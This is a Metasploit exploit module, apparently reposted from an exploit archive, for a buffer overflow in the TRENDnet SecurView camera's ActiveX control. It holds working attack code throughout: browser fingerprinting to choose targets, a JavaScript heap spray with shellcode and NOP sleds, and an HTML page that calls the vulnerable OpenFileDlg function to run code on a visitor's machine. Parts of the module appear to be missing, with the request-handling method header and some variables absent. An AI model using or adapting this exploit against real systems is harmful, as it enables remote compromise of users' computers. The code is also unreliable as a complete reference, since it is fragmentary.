Vulnerable Systems:
* TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in TRENDnet SecurView Internet
Camera's ActiveX control. By supplying a long string of data as the sFilter
argument of the OpenFileDlg() function, it is possible to trigger a buffer
overflow condition due to WideCharToMultiByte (which converts unicode back to)
overwriting the stack more than it should, which results arbitrary code execution
under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Original discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
[ 'OSVDB', '80661' ],
[ 'URL', 'http://www.exploit-db.com/exploits/18675/' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
[ 'IE 7 on Windows Vista', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ]
],
'Privileged' => false,
'DisclosureDate' => "Mar 28 2012",
'DefaultTarget' => 0))
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[3] #IE 7 on Windows Vista
else
return nil
end
end
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
# Set payload depending on target
p = payload.encoded
# Convert the pivot addr (in decimal format) to binary,
# and then break it down to this printable format:
# \x41\x41\x41\x41
t = [my_target.ret].pack("V").unpack("H*")[0]
target_ret = ''
0.step(t.length-1, 2) do |i|
target_ret << "\\x#{t[i, 2]}"
end
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x40000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x1000; i++) {
heap_obj.alloc(block);
}
var ret = "";
for (i2=0; i2<30000; i2++) {
ret = ret + "#{target_ret}";
}
obj.OpenFileDlg(ret);
JS
js = heaplib(js, {:noobfu => true})
html = <<-EOS
<html>
<head>
<script>
</script>
</head>
<body>
<object classid='clsid:707ABFC2-1D27-4A10-A6E4-6BE6BDF9FB11' id='obj'></object>
<script>
#{js}
</script>
</body>
</html>
EOS